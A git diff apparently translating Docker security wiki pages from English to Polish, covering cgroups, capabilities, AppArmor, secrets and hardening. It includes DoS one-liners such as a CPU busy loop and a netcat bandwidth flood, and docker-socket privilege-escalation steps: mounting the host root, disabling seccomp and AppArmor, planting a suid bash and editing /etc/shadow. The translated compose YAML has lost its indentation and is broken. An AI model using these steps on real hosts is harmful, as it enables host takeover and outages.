Containers using cgroup feature which allows for resource control for the specific Container.\ -Following is a Container created with user space memory limited to 500m, kernel memory limited to 50m, cpu share to 512, blkioweight to 400. CPU share is a ratio that controls Container’s CPU usage. It has a default value of 1024 and range between 0 and 1024. If three Containers have the same CPU share of 1024, each Container can take upto 33% of CPU in case of CPU resource contention. blkio-weight is a ratio that controls Container’s IO. It has a default value of 500 and range between 10 and 1000. - +Funkcja jądra Linux **cgroups** zapewnia możliwość **ograniczenia zasobów, takich jak cpu, pamięć, io, przepustowość sieci** wśród zestawu procesów. Docker pozwala na tworzenie kontenerów z wykorzystaniem funkcji cgroup, co umożliwia kontrolę zasobów dla konkretnego kontenera.\ +Poniżej znajduje się kontener utworzony z ograniczoną pamięcią przestrzeni użytkownika do 500m, pamięcią jądra ograniczoną do 50m, udziałem CPU do 512, blkiowe ciężar do 400. Udział CPU to wskaźnik, który kontroluje wykorzystanie CPU przez kontener. Ma domyślną wartość 1024 i zakres od 0 do 1024. Jeśli trzy kontenery mają ten sam udział CPU wynoszący 1024, każdy kontener może zająć do 33% CPU w przypadku kontestacji zasobów CPU. blkio-weight to wskaźnik, który kontroluje IO kontenera. Ma domyślną wartość 500 i zakres od 10 do 1000. ``` docker run -it -m 500M --kernel-memory 50M --cpu-shares 512 --blkio-weight 400 --name ubuntu1 ubuntu bash ``` - -To get the cgroup of a container you can do: - +Aby uzyskać cgroup kontenera, możesz zrobić: ```bash docker run -dt --rm denial sleep 1234 #Run a large sleep inside a Debian container ps -ef | grep 1234 #Get info about the sleep process ls -l /proc//ns #Get the Group and the namespaces (some may be uniq to the hosts and some may be shred with it) ``` - -For more information check: +Dla uzyskania dodatkowych informacji sprawdź: {{#ref}} cgroups.md {{#endref}} -### Capabilities +### Uprawnienia -Capabilities allow **finer control for the capabilities that can be allowed** for root user. Docker uses the Linux kernel capability feature to **limit the operations that can be done inside a Container** irrespective of the type of user. +Uprawnienia pozwalają na **dokładniejszą kontrolę nad uprawnieniami, które mogą być przyznane** użytkownikowi root. Docker wykorzystuje funkcję uprawnień jądra Linux do **ograniczenia operacji, które mogą być wykonywane wewnątrz kontenera**, niezależnie od typu użytkownika. -When a docker container is run, the **process drops sensitive capabilities that the proccess could use to escape from the isolation**. This try to assure that the proccess won't be able to perform sensitive actions and escape: +Gdy kontener dockerowy jest uruchamiany, **proces rezygnuje z wrażliwych uprawnień, które proces mógłby wykorzystać do ucieczki z izolacji**. To próbuje zapewnić, że proces nie będzie w stanie wykonać wrażliwych działań i uciec: {{#ref}} ../linux-capabilities.md {{#endref}} -### Seccomp in Docker +### Seccomp w Dockerze -This is a security feature that allows Docker to **limit the syscalls** that can be used inside the container: +To funkcja zabezpieczeń, która pozwala Dockerowi **ograniczyć syscalls**, które mogą być używane wewnątrz kontenera: {{#ref}} seccomp.md {{#endref}} -### AppArmor in Docker +### AppArmor w Dockerze -**AppArmor** is a kernel enhancement to confine **containers** to a **limited** set of **resources** with **per-program profiles**.: +**AppArmor** to ulepszenie jądra, które ogranicza **kontenery** do **ograniczonego** zestawu **zasobów** z **profilami per program**.: {{#ref}} apparmor.md {{#endref}} -### SELinux in Docker +### SELinux w Dockerze -- **Labeling System**: SELinux assigns a unique label to every process and filesystem object. -- **Policy Enforcement**: It enforces security policies that define what actions a process label can perform on other labels within the system. -- **Container Process Labels**: When container engines initiate container processes, they are typically assigned a confined SELinux label, commonly `container_t`. -- **File Labeling within Containers**: Files within the container are usually labeled as `container_file_t`. -- **Policy Rules**: The SELinux policy primarily ensures that processes with the `container_t` label can only interact (read, write, execute) with files labeled as `container_file_t`. +- **System Etykietowania**: SELinux przypisuje unikalną etykietę każdemu procesowi i obiektowi systemu plików. +- **Egzekwowanie Polityki**: Egzekwuje polityki zabezpieczeń, które definiują, jakie działania etykieta procesu może wykonywać na innych etykietach w systemie. +- **Etykiety Procesów Kontenerów**: Gdy silniki kontenerów inicjują procesy kontenerów, zazwyczaj przypisywana jest im ograniczona etykieta SELinux, zwykle `container_t`. +- **Etykietowanie Plików w Kontenerach**: Pliki wewnątrz kontenera są zazwyczaj etykietowane jako `container_file_t`. +- **Reguły Polityki**: Polityka SELinux przede wszystkim zapewnia, że procesy z etykietą `container_t` mogą wchodzić w interakcje (czytać, pisać, wykonywać) tylko z plikami oznaczonymi jako `container_file_t`. -This mechanism ensures that even if a process within a container is compromised, it's confined to interacting only with objects that have the corresponding labels, significantly limiting the potential damage from such compromises. +Ten mechanizm zapewnia, że nawet jeśli proces wewnątrz kontenera zostanie skompromitowany, jest ograniczony do interakcji tylko z obiektami, które mają odpowiadające etykiety, znacznie ograniczając potencjalne szkody wynikające z takich kompromisów. {{#ref}} ../selinux.md {{#endref}} -### AuthZ & AuthN +### AuthZ i AuthN -In Docker, an authorization plugin plays a crucial role in security by deciding whether to allow or block requests to the Docker daemon. This decision is made by examining two key contexts: +W Dockerze wtyczka autoryzacyjna odgrywa kluczową rolę w zabezpieczeniach, decydując, czy zezwolić na żądania do demona Docker, czy je zablokować. Decyzja ta podejmowana jest na podstawie analizy dwóch kluczowych kontekstów: -- **Authentication Context**: This includes comprehensive information about the user, such as who they are and how they've authenticated themselves. -- **Command Context**: This comprises all pertinent data related to the request being made. +- **Kontekst Uwierzytelniania**: Zawiera szczegółowe informacje o użytkowniku, takie jak kim jest i jak się uwierzytelnił. +- **Kontekst Komendy**: Zawiera wszystkie istotne dane związane z wysyłanym żądaniem. -These contexts help ensure that only legitimate requests from authenticated users are processed, enhancing the security of Docker operations. +Te konteksty pomagają zapewnić, że tylko legalne żądania od uwierzytelnionych użytkowników są przetwarzane, co zwiększa bezpieczeństwo operacji Docker. {{#ref}} authz-and-authn-docker-access-authorization-plugin.md {{#endref}} -## DoS from a container +## DoS z kontenera -If you are not properly limiting the resources a container can use, a compromised container could DoS the host where it's running. +Jeśli nie ograniczasz odpowiednio zasobów, które może wykorzystać kontener, skompromitowany kontener może spowodować DoS hosta, na którym działa. - CPU DoS - ```bash # stress-ng sudo apt-get install -y stress-ng && stress-ng --vm 1 --vm-bytes 1G --verify -t 5m @@ -266,18 +229,15 @@ sudo apt-get install -y stress-ng && stress-ng --vm 1 --vm-bytes 1G --verify -t # While loop docker run -d --name malicious-container -c 512 busybox sh -c 'while true; do :; done' ``` - -- Bandwidth DoS - +- DoS pasma ```bash nc -lvp 4444 >/dev/null & while true; do cat /dev/urandom | nc 4444; done ``` +## Ciekawe flagi Dockera -## Interesting Docker Flags +### Flaga --privileged -### --privileged flag - -In the following page you can learn **what does the `--privileged` flag imply**: +Na następnej stronie możesz się dowiedzieć **co oznacza flaga `--privileged`**: {{#ref}} docker-privileged.md @@ -287,16 +247,13 @@ docker-privileged.md #### no-new-privileges -If you are running a container where an attacker manages to get access as a low privilege user. If you have a **miss-configured suid binary**, the attacker may abuse it and **escalate privileges inside** the container. Which, may allow him to escape from it. - -Running the container with the **`no-new-privileges`** option enabled will **prevent this kind of privilege escalation**. +Jeśli uruchamiasz kontener, w którym atakujący zdołał uzyskać dostęp jako użytkownik o niskich uprawnieniach. Jeśli masz **źle skonfigurowany binarny plik suid**, atakujący może go nadużyć i **eskalować uprawnienia wewnątrz** kontenera. Co może pozwolić mu na ucieczkę z niego. +Uruchomienie kontenera z włączoną opcją **`no-new-privileges`** **zapobiegnie tego rodzaju eskalacji uprawnień**. ``` docker run -it --security-opt=no-new-privileges:true nonewpriv ``` - -#### Other - +#### Inne ```bash #You can manually add/drop capabilities with --cap-add @@ -311,101 +268,96 @@ docker run -it --security-opt=no-new-privileges:true nonewpriv # You can manually disable selinux in docker with --security-opt label:disable ``` +Dla więcej opcji **`--security-opt`** sprawdź: [https://docs.docker.com/engine/reference/run/#security-configuration](https://docs.docker.com/engine/reference/run/#security-configuration) -For more **`--security-opt`** options check: [https://docs.docker.com/engine/reference/run/#security-configuration](https://docs.docker.com/engine/reference/run/#security-configuration) +## Inne Rozważania Bezpieczeństwa -## Other Security Considerations +### Zarządzanie Sekretami: Najlepsze Praktyki -### Managing Secrets: Best Practices +Konieczne jest unikanie osadzania sekretów bezpośrednio w obrazach Docker lub używania zmiennych środowiskowych, ponieważ te metody narażają Twoje wrażliwe informacje na dostęp dla każdego, kto ma dostęp do kontenera za pomocą poleceń takich jak `docker inspect` lub `exec`. -It's crucial to avoid embedding secrets directly in Docker images or using environment variables, as these methods expose your sensitive information to anyone with access to the container through commands like `docker inspect` or `exec`. +**Wolumeny Docker** są bezpieczniejszą alternatywą, zalecaną do uzyskiwania dostępu do wrażliwych informacji. Mogą być wykorzystywane jako tymczasowy system plików w pamięci, łagodząc ryzyko związane z `docker inspect` i logowaniem. Jednak użytkownicy root i ci, którzy mają dostęp do `exec` w kontenerze, mogą nadal uzyskać dostęp do sekretów. -**Docker volumes** are a safer alternative, recommended for accessing sensitive information. They can be utilized as a temporary filesystem in memory, mitigating the risks associated with `docker inspect` and logging. However, root users and those with `exec` access to the container might still access the secrets. +**Sekrety Docker** oferują jeszcze bezpieczniejszą metodę obsługi wrażliwych informacji. Dla instancji wymagających sekretów podczas fazy budowy obrazu, **BuildKit** przedstawia efektywne rozwiązanie z obsługą sekretów w czasie budowy, zwiększając prędkość budowy i oferując dodatkowe funkcje. -**Docker secrets** offer an even more secure method for handling sensitive information. For instances requiring secrets during the image build phase, **BuildKit** presents an efficient solution with support for build-time secrets, enhancing build speed and providing additional features. +Aby skorzystać z BuildKit, można go aktywować na trzy sposoby: -To leverage BuildKit, it can be activated in three ways: - -1. Through an environment variable: `export DOCKER_BUILDKIT=1` -2. By prefixing commands: `DOCKER_BUILDKIT=1 docker build .` -3. By enabling it by default in the Docker configuration: `{ "features": { "buildkit": true } }`, followed by a Docker restart. - -BuildKit allows for the use of build-time secrets with the `--secret` option, ensuring these secrets are not included in the image build cache or the final image, using a command like: +1. Poprzez zmienną środowiskową: `export DOCKER_BUILDKIT=1` +2. Poprzez prefiksowanie poleceń: `DOCKER_BUILDKIT=1 docker build .` +3. Poprzez włączenie go domyślnie w konfiguracji Docker: `{ "features": { "buildkit": true } }`, a następnie restart Docker. +BuildKit pozwala na użycie sekretów w czasie budowy z opcją `--secret`, zapewniając, że te sekrety nie są uwzględniane w pamięci podręcznej budowy obrazu ani w finalnym obrazie, używając polecenia takiego jak: ```bash docker build --secret my_key=my_value ,src=path/to/my_secret_file . ``` - -For secrets needed in a running container, **Docker Compose and Kubernetes** offer robust solutions. Docker Compose utilizes a `secrets` key in the service definition for specifying secret files, as shown in a `docker-compose.yml` example: - +Dla sekretów potrzebnych w działającym kontenerze, **Docker Compose i Kubernetes** oferują solidne rozwiązania. Docker Compose wykorzystuje klucz `secrets` w definicji usługi do określenia plików sekretów, jak pokazano w przykładzie `docker-compose.yml`: ```yaml version: "3.7" services: - my_service: - image: centos:7 - entrypoint: "cat /run/secrets/my_secret" - secrets: - - my_secret +my_service: +image: centos:7 +entrypoint: "cat /run/secrets/my_secret" secrets: - my_secret: - file: ./my_secret_file.txt +- my_secret +secrets: +my_secret: +file: ./my_secret_file.txt ``` +Ta konfiguracja umożliwia użycie sekretów podczas uruchamiania usług za pomocą Docker Compose. -This configuration allows for the use of secrets when starting services with Docker Compose. - -In Kubernetes environments, secrets are natively supported and can be further managed with tools like [Helm-Secrets](https://github.com/futuresimple/helm-secrets). Kubernetes' Role Based Access Controls (RBAC) enhances secret management security, similar to Docker Enterprise. +W środowiskach Kubernetes sekrety są natywnie obsługiwane i mogą być zarządzane za pomocą narzędzi takich jak [Helm-Secrets](https://github.com/futuresimple/helm-secrets). Kontrola dostępu oparta na rolach (RBAC) w Kubernetes zwiększa bezpieczeństwo zarządzania sekretami, podobnie jak w Docker Enterprise. ### gVisor -**gVisor** is an application kernel, written in Go, that implements a substantial portion of the Linux system surface. It includes an [Open Container Initiative (OCI)](https://www.opencontainers.org) runtime called `runsc` that provides an **isolation boundary between the application and the host kernel**. The `runsc` runtime integrates with Docker and Kubernetes, making it simple to run sandboxed containers. +**gVisor** to jądro aplikacji, napisane w Go, które implementuje znaczną część powierzchni systemu Linux. Zawiera runtime [Open Container Initiative (OCI)](https://www.opencontainers.org) o nazwie `runsc`, który zapewnia **granice izolacji między aplikacją a jądrem hosta**. Runtime `runsc` integruje się z Dockerem i Kubernetes, co ułatwia uruchamianie kontenerów w piaskownicy. {% embed url="https://github.com/google/gvisor" %} ### Kata Containers -**Kata Containers** is an open source community working to build a secure container runtime with lightweight virtual machines that feel and perform like containers, but provide **stronger workload isolation using hardware virtualization** technology as a second layer of defense. +**Kata Containers** to społeczność open source, która pracuje nad budowaniem bezpiecznego runtime kontenerów z lekkimi maszynami wirtualnymi, które działają i zachowują się jak kontenery, ale zapewniają **silniejszą izolację obciążenia przy użyciu technologii wirtualizacji sprzętowej** jako drugiej warstwy obrony. {% embed url="https://katacontainers.io/" %} -### Summary Tips +### Podsumowanie wskazówek -- **Do not use the `--privileged` flag or mount a** [**Docker socket inside the container**](https://raesene.github.io/blog/2016/03/06/The-Dangers-Of-Docker.sock/)**.** The docker socket allows for spawning containers, so it is an easy way to take full control of the host, for example, by running another container with the `--privileged` flag. -- Do **not run as root inside the container. Use a** [**different user**](https://docs.docker.com/develop/develop-images/dockerfile_best-practices/#user) **and** [**user namespaces**](https://docs.docker.com/engine/security/userns-remap/)**.** The root in the container is the same as on host unless remapped with user namespaces. It is only lightly restricted by, primarily, Linux namespaces, capabilities, and cgroups. -- [**Drop all capabilities**](https://docs.docker.com/engine/reference/run/#runtime-privilege-and-linux-capabilities) **(`--cap-drop=all`) and enable only those that are required** (`--cap-add=...`). Many of workloads don’t need any capabilities and adding them increases the scope of a potential attack. -- [**Use the “no-new-privileges” security option**](https://raesene.github.io/blog/2019/06/01/docker-capabilities-and-no-new-privs/) to prevent processes from gaining more privileges, for example through suid binaries. -- [**Limit resources available to the container**](https://docs.docker.com/engine/reference/run/#runtime-constraints-on-resources)**.** Resource limits can protect the machine from denial of service attacks. -- **Adjust** [**seccomp**](https://docs.docker.com/engine/security/seccomp/)**,** [**AppArmor**](https://docs.docker.com/engine/security/apparmor/) **(or SELinux)** profiles to restrict the actions and syscalls available for the container to the minimum required. -- **Use** [**official docker images**](https://docs.docker.com/docker-hub/official_images/) **and require signatures** or build your own based on them. Don’t inherit or use [backdoored](https://arstechnica.com/information-technology/2018/06/backdoored-images-downloaded-5-million-times-finally-removed-from-docker-hub/) images. Also store root keys, passphrase in a safe place. Docker has plans to manage keys with UCP. -- **Regularly** **rebuild** your images to **apply security patches to the host an images.** -- Manage your **secrets wisely** so it's difficult to the attacker to access them. -- If you **exposes the docker daemon use HTTPS** with client & server authentication. -- In your Dockerfile, **favor COPY instead of ADD**. ADD automatically extracts zipped files and can copy files from URLs. COPY doesn’t have these capabilities. Whenever possible, avoid using ADD so you aren’t susceptible to attacks through remote URLs and Zip files. -- Have **separate containers for each micro-s**ervice -- **Don’t put ssh** inside container, “docker exec” can be used to ssh to Container. -- Have **smaller** container **images** +- **Nie używaj flagi `--privileged` ani nie montuj** [**gniazda Docker wewnątrz kontenera**](https://raesene.github.io/blog/2016/03/06/The-Dangers-Of-Docker.sock/)**.** Gniazdo Docker umożliwia uruchamianie kontenerów, więc jest to łatwy sposób na przejęcie pełnej kontroli nad hostem, na przykład uruchamiając inny kontener z flagą `--privileged`. +- **Nie uruchamiaj jako root wewnątrz kontenera. Użyj** [**innego użytkownika**](https://docs.docker.com/develop/develop-images/dockerfile_best-practices/#user) **i** [**przestrzeni nazw użytkowników**](https://docs.docker.com/engine/security/userns-remap/)**.** Root w kontenerze jest taki sam jak na hoście, chyba że jest przemapowany za pomocą przestrzeni nazw użytkowników. Jest on tylko lekko ograniczony przez, głównie, przestrzenie nazw Linuxa, możliwości i cgroups. +- [**Zrzuć wszystkie możliwości**](https://docs.docker.com/engine/reference/run/#runtime-privilege-and-linux-capabilities) **(`--cap-drop=all`) i włącz tylko te, które są wymagane** (`--cap-add=...`). Wiele obciążeń nie potrzebuje żadnych możliwości, a ich dodanie zwiększa zakres potencjalnego ataku. +- [**Użyj opcji bezpieczeństwa „no-new-privileges”**](https://raesene.github.io/blog/2019/06/01/docker-capabilities-and-no-new-privs/) aby zapobiec procesom uzyskiwania większych uprawnień, na przykład przez binaria suid. +- [**Ogranicz zasoby dostępne dla kontenera**](https://docs.docker.com/engine/reference/run/#runtime-constraints-on-resources)**.** Limity zasobów mogą chronić maszynę przed atakami typu denial of service. +- **Dostosuj** [**seccomp**](https://docs.docker.com/engine/security/seccomp/)**,** [**AppArmor**](https://docs.docker.com/engine/security/apparmor/) **(lub SELinux)** profile, aby ograniczyć działania i wywołania syscalls dostępne dla kontenera do minimum. +- **Używaj** [**oficjalnych obrazów docker**](https://docs.docker.com/docker-hub/official_images/) **i wymagaj podpisów** lub buduj własne na ich podstawie. Nie dziedzicz ani nie używaj [obrazów z backdoorem](https://arstechnica.com/information-technology/2018/06/backdoored-images-downloaded-5-million-times-finally-removed-from-docker-hub/). Przechowuj również klucze root i hasła w bezpiecznym miejscu. Docker planuje zarządzać kluczami za pomocą UCP. +- **Regularnie** **przebudowuj** swoje obrazy, aby **zastosować poprawki bezpieczeństwa do hosta i obrazów.** +- Zarządzaj swoimi **sekretami mądrze**, aby utrudnić atakującemu dostęp do nich. +- Jeśli **udostępniasz demona docker, użyj HTTPS** z uwierzytelnianiem klienta i serwera. +- W swoim Dockerfile, **preferuj COPY zamiast ADD**. ADD automatycznie wyodrębnia pliki zip i może kopiować pliki z adresów URL. COPY nie ma tych możliwości. Kiedy to możliwe, unikaj używania ADD, aby nie być podatnym na ataki przez zdalne adresy URL i pliki Zip. +- Miej **osobne kontenery dla każdego mikro-s**erwisu. +- **Nie umieszczaj ssh** wewnątrz kontenera, „docker exec” może być używane do ssh do kontenera. +- Miej **mniejsze** obrazy kontenerów. -## Docker Breakout / Privilege Escalation +## Docker Breakout / Eskalacja uprawnień -If you are **inside a docker container** or you have access to a user in the **docker group**, you could try to **escape and escalate privileges**: +Jeśli jesteś **wewnątrz kontenera docker** lub masz dostęp do użytkownika w **grupie docker**, możesz spróbować **uciec i eskalować uprawnienia**: {{#ref}} docker-breakout-privilege-escalation/ {{#endref}} -## Docker Authentication Plugin Bypass +## Ominięcie wtyczki uwierzytelniania Docker -If you have access to the docker socket or have access to a user in the **docker group but your actions are being limited by a docker auth plugin**, check if you can **bypass it:** +Jeśli masz dostęp do gniazda docker lub masz dostęp do użytkownika w **grupie docker, ale twoje działania są ograniczane przez wtyczkę uwierzytelniania docker**, sprawdź, czy możesz **to obejść:** {{#ref}} authz-and-authn-docker-access-authorization-plugin.md {{#endref}} -## Hardening Docker +## Utwardzanie Dockera -- The tool [**docker-bench-security**](https://github.com/docker/docker-bench-security) is a script that checks for dozens of common best-practices around deploying Docker containers in production. The tests are all automated, and are based on the [CIS Docker Benchmark v1.3.1](https://www.cisecurity.org/benchmark/docker/).\ - You need to run the tool from the host running docker or from a container with enough privileges. Find out **how to run it in the README:** [**https://github.com/docker/docker-bench-security**](https://github.com/docker/docker-bench-security). +- Narzędzie [**docker-bench-security**](https://github.com/docker/docker-bench-security) to skrypt, który sprawdza dziesiątki powszechnych najlepszych praktyk dotyczących wdrażania kontenerów Docker w produkcji. Testy są w pełni zautomatyzowane i oparte na [CIS Docker Benchmark v1.3.1](https://www.cisecurity.org/benchmark/docker/).\ +Musisz uruchomić narzędzie z hosta uruchamiającego dockera lub z kontenera z wystarczającymi uprawnieniami. Dowiedz się, **jak je uruchomić w README:** [**https://github.com/docker/docker-bench-security**](https://github.com/docker/docker-bench-security). -## References +## Odnośniki - [https://blog.trailofbits.com/2019/07/19/understanding-docker-container-escapes/](https://blog.trailofbits.com/2019/07/19/understanding-docker-container-escapes/) - [https://twitter.com/\_fel1x/status/1151487051986087936](https://twitter.com/_fel1x/status/1151487051986087936) @@ -421,12 +373,5 @@ authz-and-authn-docker-access-authorization-plugin.md - [https://towardsdatascience.com/top-20-docker-security-tips-81c41dd06f57](https://towardsdatascience.com/top-20-docker-security-tips-81c41dd06f57) - [https://resources.experfy.com/bigdata-cloud/top-20-docker-security-tips/](https://resources.experfy.com/bigdata-cloud/top-20-docker-security-tips/) -
- -\ -Use [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=docker-security) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\ -Get Access Today: - -{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=docker-security" %} {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/linux-hardening/privilege-escalation/docker-security/abusing-docker-socket-for-privilege-escalation.md b/src/linux-hardening/privilege-escalation/docker-security/abusing-docker-socket-for-privilege-escalation.md index a23a6b769..198c8eedb 100644 --- a/src/linux-hardening/privilege-escalation/docker-security/abusing-docker-socket-for-privilege-escalation.md +++ b/src/linux-hardening/privilege-escalation/docker-security/abusing-docker-socket-for-privilege-escalation.md @@ -1,43 +1,43 @@ -# Abusing Docker Socket for Privilege Escalation +# Wykorzystywanie gniazda Docker do eskalacji uprawnień {{#include ../../../banners/hacktricks-training.md}} -There are some occasions were you just have **access to the docker socket** and you want to use it to **escalate privileges**. Some actions might be very suspicious and you may want to avoid them, so here you can find different flags that can be useful to escalate privileges: +Są sytuacje, w których masz **dostęp do gniazda docker** i chcesz go użyć do **eskalacji uprawnień**. Niektóre działania mogą być bardzo podejrzane i możesz chcieć ich unikać, więc tutaj znajdziesz różne flagi, które mogą być przydatne do eskalacji uprawnień: -### Via mount +### Poprzez montowanie -You can **mount** different parts of the **filesystem** in a container running as root and **access** them.\ -You could also **abuse a mount to escalate privileges** inside the container. +Możesz **zamontować** różne części **systemu plików** w kontenerze działającym jako root i **uzyskać do nich dostęp**.\ +Możesz również **wykorzystać montowanie do eskalacji uprawnień** wewnątrz kontenera. -- **`-v /:/host`** -> Mount the host filesystem in the container so you can **read the host filesystem.** - - If you want to **feel like you are in the host** but being on the container you could disable other defense mechanisms using flags like: - - `--privileged` - - `--cap-add=ALL` - - `--security-opt apparmor=unconfined` - - `--security-opt seccomp=unconfined` - - `-security-opt label:disable` - - `--pid=host` - - `--userns=host` - - `--uts=host` - - `--cgroupns=host` -- \*\*`--device=/dev/sda1 --cap-add=SYS_ADMIN --security-opt apparmor=unconfined` \*\* -> This is similar to the previous method, but here we are **mounting the device disk**. Then, inside the container run `mount /dev/sda1 /mnt` and you can **access** the **host filesystem** in `/mnt` - - Run `fdisk -l` in the host to find the `` device to mount -- **`-v /tmp:/host`** -> If for some reason you can **just mount some directory** from the host and you have access inside the host. Mount it and create a **`/bin/bash`** with **suid** in the mounted directory so you can **execute it from the host and escalate to root**. +- **`-v /:/host`** -> Zamontuj system plików hosta w kontenerze, aby móc **czytać system plików hosta.** +- Jeśli chcesz **czuć się jak na hoście**, ale będąc w kontenerze, możesz wyłączyć inne mechanizmy obronne, używając flag takich jak: +- `--privileged` +- `--cap-add=ALL` +- `--security-opt apparmor=unconfined` +- `--security-opt seccomp=unconfined` +- `-security-opt label:disable` +- `--pid=host` +- `--userns=host` +- `--uts=host` +- `--cgroupns=host` +- \*\*`--device=/dev/sda1 --cap-add=SYS_ADMIN --security-opt apparmor=unconfined` \*\* -> To jest podobne do poprzedniej metody, ale tutaj **montujemy dysk urządzenia**. Następnie, wewnątrz kontenera uruchom `mount /dev/sda1 /mnt` i możesz **uzyskać dostęp** do **systemu plików hosta** w `/mnt` +- Uruchom `fdisk -l` na hoście, aby znaleźć urządzenie `` do zamontowania +- **`-v /tmp:/host`** -> Jeśli z jakiegoś powodu możesz **zamontować tylko niektóre katalogi** z hosta i masz dostęp wewnątrz hosta. Zamontuj go i stwórz **`/bin/bash`** z **suid** w zamontowanym katalogu, aby móc **wykonać go z hosta i eskalować do roota**. > [!NOTE] -> Note that maybe you cannot mount the folder `/tmp` but you can mount a **different writable folder**. You can find writable directories using: `find / -writable -type d 2>/dev/null` +> Zauważ, że być może nie możesz zamontować folderu `/tmp`, ale możesz zamontować **inny zapisywalny folder**. Możesz znaleźć zapisywalne katalogi, używając: `find / -writable -type d 2>/dev/null` > -> **Note that not all the directories in a linux machine will support the suid bit!** In order to check which directories support the suid bit run `mount | grep -v "nosuid"` For example usually `/dev/shm` , `/run` , `/proc` , `/sys/fs/cgroup` and `/var/lib/lxcfs` don't support the suid bit. +> **Zauważ, że nie wszystkie katalogi w maszynie linuxowej będą wspierać bit suid!** Aby sprawdzić, które katalogi wspierają bit suid, uruchom `mount | grep -v "nosuid"` Na przykład zazwyczaj `/dev/shm`, `/run`, `/proc`, `/sys/fs/cgroup` i `/var/lib/lxcfs` nie wspierają bitu suid. > -> Note also that if you can **mount `/etc`** or any other folder **containing configuration files**, you may change them from the docker container as root in order to **abuse them in the host** and escalate privileges (maybe modifying `/etc/shadow`) +> Zauważ również, że jeśli możesz **zamontować `/etc`** lub jakikolwiek inny folder **zawierający pliki konfiguracyjne**, możesz je zmienić z kontenera docker jako root, aby **wykorzystać je na hoście** i eskalować uprawnienia (może modyfikując `/etc/shadow`) -### Escaping from the container +### Ucieczka z kontenera -- **`--privileged`** -> With this flag you [remove all the isolation from the container](docker-privileged.md#what-affects). Check techniques to [escape from privileged containers as root](docker-breakout-privilege-escalation/#automatic-enumeration-and-escape). -- **`--cap-add= [--security-opt apparmor=unconfined] [--security-opt seccomp=unconfined] [-security-opt label:disable]`** -> To [escalate abusing capabilities](../linux-capabilities.md), **grant that capability to the container** and disable other protection methods that may prevent the exploit to work. +- **`--privileged`** -> Z tą flagą [usuwasz całe izolowanie z kontenera](docker-privileged.md#what-affects). Sprawdź techniki, aby [uciec z uprzywilejowanych kontenerów jako root](docker-breakout-privilege-escalation/#automatic-enumeration-and-escape). +- **`--cap-add= [--security-opt apparmor=unconfined] [--security-opt seccomp=unconfined] [-security-opt label:disable]`** -> Aby [eskalować, wykorzystując możliwości](../linux-capabilities.md), **przyznaj tę możliwość kontenerowi** i wyłącz inne metody ochrony, które mogą uniemożliwić działanie exploita. ### Curl -In this page we have discussed ways to escalate privileges using docker flags, you can find **ways to abuse these methods using curl** command in the page: +Na tej stronie omówiliśmy sposoby eskalacji uprawnień za pomocą flag docker, możesz znaleźć **sposoby na wykorzystanie tych metod za pomocą polecenia curl** na stronie: {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/linux-hardening/privilege-escalation/docker-security/apparmor.md b/src/linux-hardening/privilege-escalation/docker-security/apparmor.md index 0455067e0..1c90b8edd 100644 --- a/src/linux-hardening/privilege-escalation/docker-security/apparmor.md +++ b/src/linux-hardening/privilege-escalation/docker-security/apparmor.md @@ -2,31 +2,30 @@ {{#include ../../../banners/hacktricks-training.md}} -## Basic Information +## Podstawowe informacje -AppArmor is a **kernel enhancement designed to restrict the resources available to programs through per-program profiles**, effectively implementing Mandatory Access Control (MAC) by tying access control attributes directly to programs instead of users. This system operates by **loading profiles into the kernel**, usually during boot, and these profiles dictate what resources a program can access, such as network connections, raw socket access, and file permissions. +AppArmor to **ulepszenie jądra zaprojektowane w celu ograniczenia zasobów dostępnych dla programów poprzez profile dla poszczególnych programów**, skutecznie wdrażając Mandatory Access Control (MAC) poprzez powiązanie atrybutów kontroli dostępu bezpośrednio z programami zamiast użytkowników. System ten działa poprzez **ładowanie profili do jądra**, zazwyczaj podczas uruchamiania, a te profile określają, jakie zasoby program może uzyskać, takie jak połączenia sieciowe, dostęp do surowych gniazd i uprawnienia do plików. -There are two operational modes for AppArmor profiles: +Istnieją dwa tryby operacyjne dla profili AppArmor: -- **Enforcement Mode**: This mode actively enforces the policies defined within the profile, blocking actions that violate these policies and logging any attempts to breach them through systems like syslog or auditd. -- **Complain Mode**: Unlike enforcement mode, complain mode does not block actions that go against the profile's policies. Instead, it logs these attempts as policy violations without enforcing restrictions. +- **Tryb egzekucji**: Ten tryb aktywnie egzekwuje zasady zdefiniowane w profilu, blokując działania, które naruszają te zasady i rejestrując wszelkie próby ich naruszenia za pomocą systemów takich jak syslog lub auditd. +- **Tryb skarg**: W przeciwieństwie do trybu egzekucji, tryb skarg nie blokuje działań, które są sprzeczne z zasadami profilu. Zamiast tego rejestruje te próby jako naruszenia zasad, nie wprowadzając ograniczeń. -### Components of AppArmor +### Składniki AppArmor -- **Kernel Module**: Responsible for the enforcement of policies. -- **Policies**: Specify the rules and restrictions for program behavior and resource access. -- **Parser**: Loads policies into the kernel for enforcement or reporting. -- **Utilities**: These are user-mode programs that provide an interface for interacting with and managing AppArmor. +- **Moduł jądra**: Odpowiedzialny za egzekwowanie zasad. +- **Zasady**: Określają reguły i ograniczenia dotyczące zachowania programów i dostępu do zasobów. +- **Parser**: Ładuje zasady do jądra w celu egzekwowania lub raportowania. +- **Narzędzia**: To programy w trybie użytkownika, które zapewniają interfejs do interakcji i zarządzania AppArmor. -### Profiles path +### Ścieżka profili -Apparmor profiles are usually saved in _**/etc/apparmor.d/**_\ -With `sudo aa-status` you will be able to list the binaries that are restricted by some profile. If you can change the char "/" for a dot of the path of each listed binary and you will obtain the name of the apparmor profile inside the mentioned folder. +Profile AppArmor są zazwyczaj zapisywane w _**/etc/apparmor.d/**_\ +Za pomocą `sudo aa-status` będziesz mógł wylistować binaria, które są ograniczone przez jakiś profil. Jeśli zmienisz znak "/" na kropkę w ścieżce każdego wymienionego binarnego, uzyskasz nazwę profilu AppArmor w wymienionym folderze. -For example, a **apparmor** profile for _/usr/bin/man_ will be located in _/etc/apparmor.d/usr.bin.man_ - -### Commands +Na przykład, profil **apparmor** dla _/usr/bin/man_ będzie znajdował się w _/etc/apparmor.d/usr.bin.man_ +### Komendy ```bash aa-status #check the current status aa-enforce #set profile to enforce mode (from disable or complain) @@ -36,47 +35,41 @@ aa-genprof #generate a new profile aa-logprof #used to change the policy when the binary/program is 